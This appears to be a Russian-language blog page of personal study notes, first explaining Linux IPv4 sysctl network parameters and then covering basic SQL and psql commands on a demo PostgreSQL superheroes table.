Минимальное время хранения является гарантией того, что размер пула будет меньше чем величина inet_peer_threshold.


/proc/sys/net/ipv4/inet_peer_threshold
Здесь хранится приблизительный размер памяти для "inet peer storage". 
Когда размер пула достигает этой величины, то "сборщик мусора" переводится в более агрессивный режим работы -- с периодом прохода inet_peer_gc_mintime. 
Кроме того, этот порог влияет на срок хранения записей. Чем выше этот порог, тем больше срок хранения.


/proc/sys/net/ipv4/ip_default_ttl
Устанавливает значение по-умолчанию для величины Time To Live исходящих пакетов. 
Это число определяет продолжительность "жизни" пакета в Internet. 
Каждый раз, когда пакет попадает на очередной роутер (брандмауэр и т.п.), величина TTL пакета уменьшается на 1.
Значение по-умолчанию -- 64


/proc/sys/net/ipv4/ip_dynaddr
Параметр используется для разрешения некоторых проблем, связанных с динамической адресацией. 
Позволяет демону diald одновременно устанавливать соединение и изменять исходящий адрес в пакетах (и сокетах для локальных процессов). 
Эта возможность была реализованв для поддержки TCP по коммутируемым соединениям и соединениям с маскарадингом (masqueradig). 
Эта опция позволяет "маскарадить" исходящий адрес пакета при изменении динамического IP-адреса.
В переменную можно записать одно из 3-х значений: 0, 1 или 2.
0 -- опция выключена, это значение по-умолчанию.
1 -- опция включена.
Любое другое значение, отличающееся от 0 и 1 подразумевает включение этой опции в "многословном" (verbose) режиме, что приводит к записи в системный журнал отладочных сообщений.


/proc/sys/net/ipv4/ip_forward
Включает/отключает функцию форвардинга (передачу транзитных пакетов между сетевыми интерфейсами), которая позволяет компьютеру выступать в роли брандмауэра или маршрутизатора. 
Эта переменная очень важна для Network Address Translation (Трансляция Сетевых Адресов), 
брандмауэров, маршрутизаторов и всего того, что должно передавать пакеты между сетями.
Это булева переменная. Или, другими словами, она может принимать два значения -- 0 или 1. 
Значение по-умолчанию -- 0, "запрещено". 
То есть 0 означает запрет форвардинга, а 1 -- разрешает его.


/proc/sys/net/ipv4/ip_local_port_range
Содержит два целых числа, которые определяют диапазон локальных портов, которые используются в клиентских соединениях, 
т.е. для исходящих соединений, которые связывают нашу систему с некоторым узлом сети, 
где мы выступаем в качестве клиента. Первое число задает нижнюю границу диапазона, второе -- верхнюю.
Значения по-умолчанию зависят от имеющегося объема ОЗУ. 
Если установлено более чем 128 Мб, то нижняя граница будет 32768, а верхняя -- 61000. При меньшем объеме ОЗУ нижняя граница будет 1024 а верхняя -- 4999 или даже меньше.
Этот диапазон определяет количество активных соединений, которые могут быть запущены одновременно, с другой системой, которая не поддерживает TCP-расширение timestamp.
Диапазона 1024-4999 вполне достаточно для установки до 2000 соединений в секунду с системами, не поддерживающими timestamp. Проще говоря, этого вполне достаточно для большинства применений.


/proc/sys/net/ipv4/ip_no_pmtu_disc
Параметр ip_no_pmtu_disc запрещает поиск PMTU (от англ. Path Maximum Transfer Unit -- Максимальный Размер Пакета для выбранного Пути). 
Для большинства случаев лучше установить в эту переменную значение FALSE, или 0 (т.е. система будет пытаться определить максимальный размер пакета, 
при котором не потребуется выполнять их фрагментацию, для передачи на заданный хост). 
Но иногда, в отдельных случаях, такое поведение системы может приводить к "срывам" соединений. 
Если у вас возникают такие проблемы, то вам следует попробовать отключить эту опцию (т.е. записать в переменную число 1) и установить нужное значение MTU.
Обратите внимание на то, что MTU и PMTU -- это не одно и то же! MTU -- (от англ. Maximum Transfer Unit -- максимальный размер пакета) определяет максимальный размер пакета для наших сетевых интерфейсов,
но не для сетевых интерфейсов на другом конце. 
PMTU -- опция, которая заставляет систему вычислять максимальный размер пакета, 
при котором не потребуется фрагментация пакетов, для маршрута к заданному хосту, включая все промежуточные переходы.
Значение по-умолчанию -- FALSE (0), т.е. функция определения разрешена. Если записать число 1 в этот файл, 
то функция определения PMTU будет запрещена. Параметр ip_no_pmtu_disc может принимать значение 0 или 1.


/proc/sys/net/ipv4/ipfrag_high_thresh
Параметр задает максимальный объем памяти, выделяемый под очередь фрагментированных пакетов. 
Когда длина очереди достигает этого порога, то обработчик фрагментов будет отвергать все фрагментированные пакеты до тех пор, 
пока длина очереди не уменьшится до значения переменной ipfrag_low_thresh. 
Это означает, что все отвергнутые фрагментированные пакеты должны быть повторно переданы узлом-отправителем.



/proc/sys/net/ipv4/ip_nonlocal_bind
Установка этого параметра позволяет отдельным локальным процессам выступать от имени внешнего (чужого) IP-адреса. 
Это может оказаться полезным в некоторых случаях, когда необходимо "прослушивать" внешние (чужие) IP-адреса, например -- сниффинг чужого траффика. 
Однако, эта опция может оказывать отрицательное влияние на работоспособность отдельных приложений.
Может иметь два значения -- 0 или 1. 
Если установлено значение 0, то опция отключена, 1 -- включена. 
Значение по-умолчанию -- 0.


/proc/sys/net/ipv4/ipfrag_low_thresh
Этот параметр очень тесно связан с переменной ipfrag_high_thresh. 
Он устанавливает нижний порог, при достижении которого опять разрешается прием фрагментов в очередь. 
Обработчик фрагментов имеет свою очередь, в которой находятся фрагментированные пакеты, ожидающие сборки. 
Когда длина очереди достигает верхнего порога (ipfrag_high_thresh), то прием фрагментов в очередь приостанавливается до тех пор, пока длина очереди не уменьшится до величины ipfrag_low_thresh. 
Это предохраняет систему от "затопления" фрагментированными пакетами и, тем самым, является, в своем роде, защитой от некоторых видов DoS-атак.


/proc/sys/net/ipv4/ipfrag_time
Определяет максимальное время "хранения" фрагментов в секундах. 
Это относится только к тем фрагментам, которые пока невозможно собрать, поскольку собранные пакеты к этому сроку скорее всего уже будут переданы дальше (на следующий уровень или в сеть).
Принимает целое значение и определяет предельное время хранения фрагментов в секундах. Если записать туда число 5, то это будет означать 5 секунд.



/proc/sys/net/ipv4/tcp_abort_on_overflow
Заставляет ядро отвергать новые соединения, если их поступает такое количество, что система не в состоянии справиться с таким потоком. 
Что это означает? Допустим, что на систему обрушивается шквал запросов на соединение, тогда они могут быть просто отвергнуты, если эта опция будет включена, 
поскольку система не в состоянии обработать их все. 
Если не установлена, то система будет пытаться обслужить все запросы.
Может иметь два значение -- 0(выключено) или 1(включено). Значение по-умолчанию -- 0. 
Включение этой опции следует расценивать как крайнюю меру. Перед этим необходимо попытаться поднять производительность сервисов.


/proc/sys/net/ipv4/tcp_fin_timeout
Задает максимальное время пребывания сокета в состоянии FIN-WAIT-2. 
Используется в тех случаях, когда другая сторона по тем или иным причинам не закрыла соединение со своей стороны. 
Каждый сокет занимает в памяти порядка 1.5 Кб, что может привести к значительным утечкам памяти в некоторых случаях.
Принимает целое число. Значение по-умолчанию -- 60 секунд. 
В ядрах серии 2.2 это значение было равно 180 секундам, но было уменьшено, поскольку иногда возникали проблемы, 
связанные с нехваткой памяти, на web-серверах, которые, как правило, обслуживают огромное количество подключений.
За дополнительной информацией -- обращайтесь к описанию параметров tcp_max_orphans и tcp_orphan_retries.


/proc/sys/net/ipv4/tcp_keepalive_time
Определяет -- как часто следует проверять соединение, если оно давно не используется. 
Значение параметра имеет смысл только для тех сокетов, которые были созданы с флагом SO_KEEPALIVE.
Принимает целое число секунд. Значение по-умолчанию -- 7200, т.е. 2 часа. 
Не уменьшайте это число без необходимости, поскольку это может привести к увеличению бесполезного трафика.


/proc/sys/net/ipv4/tcp_keepalive_intvl
Определяет интервал проверки "жизнеспособности" сокета. 
Это значение учитывается при подсчете времени, которое должно пройти перед тем как соединение будет разорвано.
Принимает целое число. Значение по-умолчанию -- 75 секунд. 
Это достаточно высокое значение, чтобы рассматривать его как нормальное. 
Значения параметров tcp_keepalive_probes и tcp_keepalive_intvl могут использоваться для определения времени, через которое соединение будет разорвано.
Со значениями по-умолчанию (9 попыток с интервалом 75 секунд) это займет примерно 11 минут. 
Попытки определения "жизнеспособности", в свою очередь, начнутся через 2 часа после того, как через данное соединение проследовал последний пакет.


/proc/sys/net/ipv4/tcp_keepalive_probes
Определяет количество попыток проверки "жизнеспособности" прежде, чем будет принято решении о разрыве соединения.
Принимает целое число, которое не следует устанавливать больше 50-ти. Значение по-умолчанию -- 9. 
Это означает, что будет выполнено 9 попыток проверки соединения, чтобы убедиться в том, что соединение разорвано.


/proc/sys/net/ipv4/tcp_max_orphans
Задает максимальное число "осиротевших" (не связанных ни с одним процессом) сокетов. 
Если это число будет превышено, то такие соединения разрываются, а в системный журнал пишется предупреждение.
Это ограничение существует исключительно ради предотвращения простейших разновидностей DoS-атак. 
Вообще вы не должны полагаться на эту переменную! Не рекомендуется уменьшать это число. 
Сетевая среда может потребовать увеличение этого порога, однако, такое увеличение может привести к необходимости увеличения объема ОЗУ в системе. 
Прежде чем поднимать этот предел -- попробуйте перенастроить сетевые сервисы на более агрессивное поведение по отношению к "осиротевшим" сокетам.
Принимает целое число. Значение по-умолчанию -- 8192, однако оно очень сильно зависит от объема памяти в системе. 
Каждый "осиротевший" сокет "съедает" примерно 64 Кб памяти, которая не может быть сброшена в своп (swap).
При возникновении проблем, связанных с этим ограничением -- в системный журнал будет записано сообщение, подобное этому: TCP: too many of orphaned sockets           
Это может служить поводом к тому, чтобы пересмотреть значения переменных tcp_fin_timeout или tcp_orphans_retries.


/proc/sys/net/ipv4/tcp_orphan_retries
Количество попыток закрыть соединение перед тем как оно будет разорвано принудительно. 
Если вы администрируете http-сервер, который испытывает большие нагрузки, то стоит подумать об уменьшении этого значения.
Значение по-умолчанию -- 0 (archlinux)


/proc/sys/net/ipv4/tcp_max_syn_backlog
Определяет максимальное время хранения SYN-запросов в памяти до момента получения третьего, завершающего установление соединения, пакета. 
Эта опция работает только тогда, когда включен параметр tcp_syncookies. 
Если сервер испытывает серьезные нагрузки, то можно попробовать немного увеличить этот параметр.
По-умолчанию равно 512


/proc/sys/net/ipv4/tcp_max_tw_buckets
Максимальное число сокетов, находящихся в состоянии TIME-WAIT одновременно. 
При превышении этого порога -- "лишний" сокет разрушается и пишется сообщение в системный журнал. Цель этой переменной -- предотвращение простейших разновидностей DoS-атак.
По-умолчанию -- 180000.


/proc/sys/net/ipv4/tcp_retrans_collapse
Включает/выключает эмуляцию ошибки протокола TCP, делая возможным сетевое взаимодействие с некоторыми устройствами, в которых реализация стека TCP имеет эту ошибку. 
Без ее эмуляции было бы невозможным работать с отдельными моделями принтеров. 
Ошибка заключается в отправке полноразмерных пакетов при повторной передаче.
Значение по-умолчанию -- 1 (включено).



/proc/sys/net/ipv4/tcp_retries1
Максимальное количество попыток повторной передачи пакетов по установленному соединению прежде, 
чем сообщение об ошибке будет передано сетевому уровню, в результате чего может быть выбран другой маршрут для отправки последующих пакетов. 
Минимальное значение этого параметра равно 3.
Это число является значением по-умолчанию, что соответствует интервалу времени от 3 секунд до 8 минут, в зависимости от величины Retransmission timeout (RTO). 
Детальное описание RTO вы найдете в разделе "3.7. Data Communication" RFC 793 - Transmission Control Protocol.
Значение по-умолчанию -- 3. 



/proc/sys/net/ipv4/tcp_retries2
Максимальное количество попыток повторной передачи пакетов, до того как соединение будет считаться разорванным. 
Это ограничение определено в RFC 1122 и равно 100, но обычно его уменьшают.
Значение по-умолчанию -- 15, что соответствует примерно 13-30 минутам в зависимости от величины Retransmission timeout (RTO).


/proc/sys/net/ipv4/tcp_rfc1337
Является реализацией решения проблемы, описываемой в "RFC 1337 - TIME-WAIT Assassination Hazards in TCP". 
Проблема связана с "устаревшими" дубликатами пакетов, которые могут вносить помехи во вновь устанавливаемые соединения и порождать три различные проблемы. 
Первая -- "устаревший" дубликат пакета с данными может быть ошибочно воспринят в новом соединении, что приведет к передаче неверных данных. 
Вторая -- соединение может быть десинхронизировано и "уйти" в ACK-цикл из-за "устаревших" дубликатов, 
которые порождают новые соединения (здесь автор имеет ввиду "устаревшие" дубликаты SYN-пакетов, прим. перев.). 
И третья проблема -- "устаревшие" дубликаты могут "проникнуть" в недавно созданное соединение и ошибочно уничтожить его.


/proc/sys/net/ipv4/tcp_sack
Разрешает Selective Acknowledgements (SACK -- Выборочное Подтверждение), детальное описание вы найдете в RFC 2883 
- An Extension to Selective Acknowledgement (SACK) Option for TCP и RFC 2883
- An Extension to Selective Acknowledgement (SACK) Option for TCP


/proc/sys/net/ipv4/tcp_stdurg
Разрешает/запрещает соответствие стандарту RFC 1122. Поведение по-умолчанию соответствует стандарту использования флага URG -- BSD 4.2, описанному в RFC 793. 
Если этот параметр включен, то возможны сбои при работе с отдельными узлами Интернета, точнее -- с узлами, которые придерживаются стандарта BSD 4.2. 
Значение по-умолчанию -- 0 (выключено).


/proc/sys/net/ipv4/tcp_syn_retries
Количество попыток передачи SYN-пакета при установлении нового соединения. 
Это число не должно устанавливаться больше чем 255, поскольку каждая повторная попытка отнимает значительное время. 
На каждую попытку отводится примерно 30-40 секунд. Значение по-умолчанию -- 5, что соответствует, примерно, 180 секундам.


/proc/sys/net/ipv4/tcp_synack_retries
Количество попыток передачи SYN,ACK-пакета в ответ на SYN-запрос. 
Другими словами -- максимальное число попыток установить пассивное TCP-соединение, инициированное другим хостом. 
Это число не должно устанавливаться больше чем 255. Значение по-умолчанию -- 5.


/proc/sys/net/ipv4/tcp_timestamps
Разрешает/запрещает использование временных меток (timestamps), в соответствии с RFC 1323. Если коротко, 
то это расширение TCP используется для расчета Round Trip Measurement (определение времени возврата) лучшим способом, нежели метод Retransmission timeout (RTO). 
Эта опция должна сохранять обратную совместимость в большинстве случаев, так что лучше оставить ее включенной, 
особенно если вы работаете в высокоскоростной сети (например LAN или 10mb Интернет). 
В случае низкоскоростного оединения (скажем модемное) -- вы прекрасно обойдетесь и без этой опции, и будет даже лучше, если вы ее отключите. 
Значение по-умолчанию -- 1 (включено).


/proc/sys/net/ipv4/tcp_window_scaling
Разрешает/запрещает масштабирование TCP-окна, как определено в RFC 1323. 
В этом документе описано как производится масштабирование TCP-окна при передаче по Large Fat Pipes (LFP -- "толстый" канал). 
При передаче TCP-пакетов по "толстым" каналам возникают существенные потери пропускной способности из-за того, 
что они не загружены полностью во время ожидания подтверждения о приеме предыдущего TCP-окна. 
Основная проблема состоит в том, что окно не может иметь размер больше, чем 2**16 байт (65 Кб). 
Разрешая масштабирование TCP-окна мы, тем самым, можем увеличить его размер и таким образом уменьшить потери пропускной способности. 
Значение по-умолчанию -- 1 (включено).

dev

DEV следует понимать название устройства.
Настройки в каталоге all применяются ко ВСЕМ сетевым интерфейсам

/proc/sys/net/ipv4/conf/DEV/accept_redirects
Управляет приемом ICMP-сообщений о переадресации. 
Сообщения ICMP Redirect ... используются для уведомления маршрутизаторов или хостов о существовании лучшего маршрута движения пакетов к заданному хосту, 
который (маршрут) может быть быстрее или менее загружен.

/proc/sys/net/ipv4/conf/DEV/accept_source_route
Разрешает/запрещает "маршрутизацию от источника". Маршрутизация от источника весьма небезопасна. 
По-умолчанию -- 1 (включено). В archlinux = 0


/proc/sys/net/ipv4/conf/DEV/bootp_relay
Разрешает/запрещает форвардинг пакетов с исходящими адресами 0.b.c.d. 
Демон BOOTP relay должен перенаправлять эти пакеты на корректный адрес. 
Значение по-умолчанию -- 0 (выключено), поскольку реализация обработки этого параметра еще отсутствует (kernel v2.2.12).

/proc/sys/net/ipv4/conf/DEV/forwarding
Включает/отключает функцию форвардинга (передачу транзитных пакетов) между сетевыми интерфейсами. 
Могут использоваться для включения/выключения функции форвардинга для отдельных интерфейсов. 
По-умолчанию все параметры conf/DEV/forwarding принимают значение, установленное в ipv4/ip_forward так, если этот параметр включить, 
то и все параметры conf/DEV/forwarding будут включены, если выключить, то и conf/DEV/forwarding окажутся выключены.


/proc/sys/net/ipv4/conf/DEV/log_martians
Включает/выключает функцию журналирования всех пакетов, которые содержат неправильные (невозможные) адреса (так называемые martians -- "марсианские" пакеты). 
Под невозможными адресами, в данном случае, следует понимать такие адреса, которые отсутствуют в таблице маршрутизации.


/proc/sys/net/ipv4/conf/DEV/mc_forwarding
Включает/выключает поддержку маршрутизации групповых рассылок для заданного интерфейса. 
Кроме того, чтобы иметь поддержку маршрутизации групповых рассылок, необходимо собрать ядро с включенной опцией CONFIG_MROUTE. 
Дополнительно в системе должен иметься демон, осуществляющий групповую маршрутизацию. Значение по-умолчанию -- 0 (выключено). 
Обратите внимание -- нет никакой необходимости включать эту опцию, если вы желаете лишь получать групповые пакеты. 
Она необходима только если вы собираетесь перенаправлять групповой трафик через вашу систему.


/proc/sys/net/ipv4/conf/DEV/proxy_arp
Включает/выключает проксирование arp-запросов для заданного интерфейса. 
ARP-прокси позволяет маршрутизатору отвечать на ARP запросы в одну сеть, в то время как запрашиваемый хост находится в другой сети. 
С помощью этого средства происходит "обман" отправителя, который отправил ARP запрос, после чего он "думает", что маршрутизатор является хостом назначения, 
тогда как в действительности хост назначения находится по другую сторону маршрутизатора. 
Маршрутизатор выступает в роли уполномоченного агента хоста назначения, перекладывая пакеты от другого хоста. Значение по-умолчанию -- 0 (выключено). 
Дополнительную информацию вы найдете в Proxy-ARP mini HOWTO.


/proc/sys/net/ipv4/conf/DEV/rp_filter
Проверка Обратного Адреса, хотя это слишком вольный перевод термина, но мне он кажется наиболее близким по смыслу. прим. перев..
По-умолчанию, маршрутизаторы перенаправляют все подряд, даже пакеты, которые не принадлежат вашей сети. 
В качестве примера можно привести утечку локального трафика в Интернет. 
Если у вас имеется интерфейс с маршрутом к нему 195.96.96.0/24, то вы наверняка не ожидаете получить на него пакеты от 212.64.94.1.
В файловой системе /proc лежит файл, изменив который вы сможете отключить или включить эту проверку. 
Смысл этого параметра достаточно прост -- все, что поступает к нам, проходит проверку на соответствие исходящего адреса с нашей таблицей маршрутизации и такая проверка считается успешной, 
если принятый пакет предполагает передачу ответа через тот же самый интерфейс.
Следующий фрагмент включит проверку исходящего адреса для всех существующих интерфейсов:
# for i in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 2 > $i ; done  


/proc/sys/net/ipv4/conf/DEV/secure_redirects
Включает/выключает режим безопасной переадресации. 
Если параметр выключен, то будут приниматься любые сообщения ICMP Redirect ... от любого хоста из любого места. 
Если включен, то сообщения о переадресации будут восприниматься только от тех шлюзов (gateways), которые имеются в списке шлюзов по-умолчанию. 
С помощью этой опции можно избежать большинства ложных переадресаций, которые могут быть использованы для перехвата трафика. 
Значение по-умолчанию -- 1 (включено). Обратите внимание -- действие этой параметра отменяется параметром shared_media, 
так что, если вы включаете secure_redirects, то необходимо включить и shared_media.


/proc/sys/net/ipv4/conf/DEV/send_redirects
Включает/выключает выдачу ICMP Redirect ... другим хостам. 
Эта опция обязательно должна быть включена, если хост выступает в роли маршрутизатора любого рода. 
Как правило ICMP-сообщения о переадресации отправляются в том случае, когда необходимо сообщить хосту о том, 
что он должен вступить в контакт с другим сервером. Значение по-умолчанию -- 1 (включено). 
Если компьютер не выступает в роли маршрутизатора, то этот параметр можно отключить.


/proc/sys/net/ipv4/conf/DEV/shared_media
Включает/выключает признак того, что физическая сеть является носителем нескольких логических подсетей, например, 
когда на одном физическом кабеле организовано несколько подсетей с различными сетевыми масками. 
Этот признак используется ядром при принятии решения о необходимости выдачи ICMP-сообщений о переадресации. 
Значение по-умолчанию -- 0 (выключено). Этот параметр влияет на установку параметра secure_redirects.



Рубрики
devops Конспект

Конспект: SQL / основы / postgre / на примере PostgreSQL

Ссылки

PostgreSQL psql pg_dump pg_restore install
https://www.enterprisedb.com/downloads/postgres-postgresql-downloads - PostgreSQL Database для Windows https://www.asozykin.ru/posts/demo_database_sql_foundation - инструкция по установке PostgreSQL для Windows https://www.dropbox.com/s/311jgpz9d3p1966/sql_foundation.sql?dl=1 - демонстрационная база (загружаем сюда databasespostgresshemapublictables) https://github.com/fivethirtyeight/data - таблицы поиграть https://postgrespro.ru/docs/postgresql/9.6/app-pgrestore - документация Видео материалы Andrey Sozykin: https://www.youtube.com/watch?v=uGKIXTUjZbc&list=PLtPJ9lKvJ4oh5SdmGVusIVDPcELrJ2bsT&index=1&ab_channel=AndreySozykin - Full Playlist | Основы SQL https://www.youtube.com/watch?v=uGKIXTUjZbc&ab_channel=AndreySozykin - Базы данных и SQL | Основы SQL https://www.youtube.com/watch?v=0Jw3pnF0huk&ab_channel=AndreySozykin - Оператор SELECT | Основы SQL https://www.youtube.com/watch?v=Q8UmK7wC9Hk&ab_channel=AndreySozykin - Фильтрация данных в SQL | WHERE | Основы SQL https://www.youtube.com/watch?v=bYdjR6QexJY&ab_channel=AndreySozykin - Сортировка в SQL: ORDER BY | Основы SQL https://www.youtube.com/watch?v=7nD1e4m9Wgg&ab_channel=AndreySozykin - Создание таблиц в SQL | Основы SQL https://www.youtube.com/watch?v=eyWGkfBYmIY&ab_channel=AndreySozykin - Вставка и изменение данных в SQL | Основы SQL https://www.youtube.com/watch?v=YCreL-HOg98&ab_channel=AndreySozykin - Группировка в SQL | Архив https://www.youtube.com/watch?v=_IoSA74hEtw&ab_channel=AndreySozykin - Группировка в SQL | Основы SQL https://www.youtube.com/watch?v=q0nuhf7vzkE&ab_channel=AndreySozykin - Агрегатные функции | Основы SQL https://www.youtube.com/watch?v=ytfXUvCsNuo&ab_channel=AndreySozykin - Группировки и фильтрация в SQL: HAVING | Основы SQL https://www.youtube.com/watch?v=fDlK96jKH1k&ab_channel=AndreySozykin - Декомпозиция данных в базе | Основы SQL

Основное psql:

psql -l - список баз данных
psql -d dbname - подключение к БД dbname

? - помощь по сокращённым командам 
l - список баз данных
l+ - просмотр существующих баз данных c более детальным выводом(размер, описание баз данных)
c dbname - подсоединение к БД dbname
d table - структура таблицы table
du - список всех пользователей и их привилегий
dt - список всех таблиц
dt+ - список всех таблиц с описанием

Оператор SELECT выборка

#работаем с демо-базой
#SELECT - извлечь, выбрать
#* - все символы

SELECT что FROM откуда;
SELECT * FROM superheroes; - вывести все столбцы из таблицы superheroes

SELECT name,universe,appearances FROM superheroes; - вывести информацию из таблицы superheroes  столбцы name,universe,appearances

SELECT name AS hero_name, appearances FROM superheroes; - вывести информацию из таблицы superheroes столбцы name,appearances, таблицу name назвать как hero_name
SELECT name hero_name, appearances FROM superheroes; - вывести информацию из таблицы superheroes столбцы name,appearances, таблицу name назвать как hero_name

SELECT DISTINCT(align) FROM superheroes; - вывести уникальные значения для столбца align
SELECT DISTINCT(gender) FROM superheroes; - вывести уникальные значения для столбца gender
SELECT DISTINCT(eye) FROM superheroes; - вывести уникальные значения для столбца eye

SELECT DISTINCT(hair) FROM superheroes LIMIT 10; - вывести уникальные значения для столбца hair, ограничить десятью строками


WHERE Операторы сравнения в WHERE Логические операторы в WHERE Фильтрация данных в SQL

Операторы сравнения в WHERE:
= Равно
<> Не равно
!= Не равно
> Больше
>= Больше или равно
< Меньше
<= Меньше лили равно
between Значение находится в указанном диапазоне ( от AND до)
in Значение входит в список
like Проверка строки на соответствие шаблону (% - любое количество символов(включая 0), _ - ровно один символ) 

Логические операторы в  WHERE:
AND Логические И
OR Логические ИЛИ
NOT Логическое НЕ

WHERE Фильтрация данных в SQL примеры

43
SELECT * FROM superheroes WHERE gender = 'Female Characters';
SELECT * FROM superheroes WHERE align = 'Reformed Criminals';

SELECT * From superheroes WHERE year BETWEEN 2000 AND 2005;

SELECT * FROM superheroes WHERE hair IN ('Strawberry Blond Hair', 'Red Hair', 'Auburn Hair');

SELECT * FROM superheroes WHERE hair LIKE '%Blond%';
SELECT * FROM superheroes WHERE name LIKE '%Spider-Man%';
SELECT * FROM superheroes WHERE name LIKE '%Earth-616%';

SELECT * FROM superheroes WHERE gender = 'Female Characters' AND align = 'Bad Characters';

SELECT * FROM superheroes WHERE hair = 'Red Hair' OR hair = 'Strawberry Blond Hair' OR hair = 'Auburn Hair';

SELECT * FROM superheroes WHERE hair NOT IN ('Blond Hair', 'Black Hair', 'Brown Hair', 'Red Hair');

ORDER BY сортировка

!!! Иногда при запросах SELECT данные могут выводится в разном порядке.
!!! ORDER BY - сортировка вывода.
!!! Порядок сортировки:
!!! ASC - сортировка по возрастанию ( применяется по умолчанию)
!!! DESC - сортировка по убыванию
 
SELECT * FROM superheroes ORDER BY year;
SELECT * FROM superheroes ORDER BY appearances;

SELECT * FROM superheroes ORDER BY id;
SELECT * FROM superheroes WHERE name LIKE '%Thor%';

SELECT * FROM superheroes ORDER BY appearances DESC;
SELECT * FROM superheroes ORDER BY year DESC limit 10;
SELECT * FROM superheroes ORDER BY appearances DESC limit 5;

SELECT * FROM superheroes WHERE align = 'Bad Characters' ORDER BY appearances DESC;
SELECT * FROM superheroes WHERE align = 'Bad Characters' AND gender = 'Female Characters' ORDER BY appearances DESC LIMIT 5;

SELECT * FROM superheroes ORDER BY year, appearances LIMIT 10;

SELECT * FROM superheroes ORDER BY year, appearances DESC LIMIT 10;

Создание удаление изменение таблиц в SQL

!!! CREATE TABLE - создать таблицу
!!! INT - целое число 
!!! CHAR(n) - строка фиксированной длины, n - число символов
!!! VARCHAR(n) - строка переменной длины, n - число символов
!!! BOOLEAN - логический тип данных (True, Fulse)
!!! INT - Целое число
!!! DATE - дата
!!! TIMESTAMP - дата и время
!!! NUMERIC(p,s) - действительное число(p - количество значащих цифр, s- количество цифр после запятой) Хранится точно.
!!! REAL Действительное число одинарной точности, формат IEEE 754
!!! DOUBLE PRECESIOM - действительное число двойной точности, формат IEEE 754
 
!!! PRIMARY KEY - нужен для того чтобы отличать записи друг от друга
!!! SERIAL PRIMARY KEY - параметр SERIAL облегчает создание PRIMARY KEY, идентификатор будет создаваться автоматически
!!! SERIAL - является стандартным только для postgreSQL, например для MySQL "AUTO_INCREMENT"

CREATE TABLES superheroes( id INT SERIAL PRIMARY KEY, 
                           name VARCHAR(100), 
                           align VARCHAR(30), 
                           eye VARCHAR(30), 
                           hair VARCHAR(30), 
                           gender VARCHAR(30),
                           appearances INT, 
                           year INT, 
                           universe VARCHAR(10) 
                         );

# d superheroes; - так в командной строке postgresql, командой "d" имя таблицы "superheroes", мы можем посмотреть информацию о таблице.

# describe superheroes;  - так в командной строке mysql, командой "describe" имя таблицы "superheroes", мы можем посмотреть информацию о таблице.

!!! DROP TABLE - удалить таблицу
DROP TABLE superheroes; - удалить таблицу "superheroes"


!!! Скрипт создания таблицы superheroes, IF EXITS если таблица существует то она буде очищена
-- Создаем таблицу
DROP TABLE IF EXISTS superheroes; 
CREATE TABLE superheroes(id SERIAL PRIMARY KEY, name VARCHAR(100), align VARCHAR(30), eye VARCHAR(30), hair VARCHAR(30), gender VARCHAR(30), appearances INT, year INT, universe VARCHAR(10));

!!! ALTER TABLE - изменение таблицы
ALTER TABLE superheroes ADD COLUMN alive BOOLEAN; - создать столбец "alive"
ALTER TABLE superheroes ADD COLUMN first_appearance TIMESTAMP; - создать столбец "first_appearance"
ALTER TABLE superheroes DROP COLUMN year; - удалить столбец "year"
ALTER TABLE superheroes RENAME COLUMN name TO hero_name; - переименовать столбец "name" в "hero_name"
ALTER TABLE superheroes RENAME TO comic_characters; - переименовать таблицу "superheroes" в "comic_characters"

Языки SQL

DDL = Data Definition Language - язык описания данных (CREATE TABLE, DROP TABLE, ALTER TABLE)
DML = Data Manipulation Language - язык манипулирования данными (SELECT, INSERT, UPDATE)
DCL = Data Control Language - язык управления доступом к данным 

Вставка данных в таблицу оператор INSERT

!!! создаем пустую таблицу
DROP TABLE IF EXISTS superheroes; 
CREATE TABLE superheroes(id SERIAL PRIMARY KEY, name VARCHAR(100), align VARCHAR(30), eye VARCHAR(30), hair VARCHAR(30), gender VARCHAR(30), appearances INT, year INT, universe VARCHAR(10));

INSERT INTO superheroes(name, appearances, universe) VALUES ('Spider-Man', 4043, 'marvel');
SELECT * FROM superheroes WHERE appearances = 4043 
SELECT * FROM superheroes WHERE appearances = 4043 AND name NOT IN ('Spider-Man (Peter Parker)');

INSERT INTO superheroes(name, align, eye, hair, gender, appearances, year, universe) VALUES('ZABILO', 'VEry BAD', 'ZOR GLASs', 'Black Hair', 'SPIDER', 4043, 1962, 'zole');

INSERT INTO superheroes(id, name, align, eye, hair, gender, appearances, year, universe) VALUES(999999999, 'ZABIL', 'VEry BAD', 'ZOR GLASs', 'Black Hair', 'SPIDER', 4043, 1962, 'zole');

!!! Можно не указывать поля для  НО с такой вставкой могут быть проблемы!!!
!!! Не рекомендуется так делать !!!
!!! INSERT INTO superheroes VALUES(777, 'ZABIL', 'VEry BAD', 'ZOR GLASs', 'Black Hair', 'SPIDER', 4043, 1962, 'zole');

Изменение данных оператор UPDATE

!!! Рекомендуется для точного изменения данных использовать первичный ключ(PRIMARY KEY), то есть в нашем случае столбец ID

UPDATE superheroes SET name='Batman' , universe='dc' WHERE id=777

UPDATE superheroes SET gender='Man' WHERE gender='Male Characters'

UPDATE superheroes SET gender='Male Characters' WHERE gender='SPIDER'

UPDATE superheroes SET name='XXXX' WHERE name='ZABILO'

Удаление данных из таблицы оператор DELETE

!!! Рекомендуется для точного удаления данных использовать первичный ключ(PRIMARY KEY), то есть в нашем случае столбец ID

DELETE FROM superheroes WHERE id=2;

DELETE FROM superheroes WHERE name='Spider-Man';

DELETE FROM superheroes; - удалить все данные из таблицы

Группировка в SQL:

!!! Функции агрегации COUNT, SUM, AVG, MAX, MIN
!!! функция COUNT(*) - подсчет кол-ва строк

SELECT gender, COUNT(*) FROM superheroes GROUP BY gender

SELECT align, COUNT(*) FROM superheroes GROUP BY align

SELECT universe, align, COUNT(*) FROM superheroes GROUP BY universe, align - многоуровневая группировка данных в SQL

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair ORDER BY COUNT(*) DESC
------------------------------------------------------------------------------------------------------------
SELECT hair, COUNT(*) FROM superheroes - из таблицы superheroes столбец hair с кол-вом строк
WHERE gender='Female Characters' - выполняем выборку по столбцу gender со значением 'Female Characters'
GROUP BY hair - сортируем по волосам
ORDER BY COUNT(*) DESC - сортируем от большего значения к меньшему
------------------------------------------------------------------------------------------------------------

SELECT hair, COUNT(*) FROM superheroes WHERE gender='Female Characters' GROUP BY hair ORDER BY COUNT(*) DESC LIMIT 5

Агрегатные функции

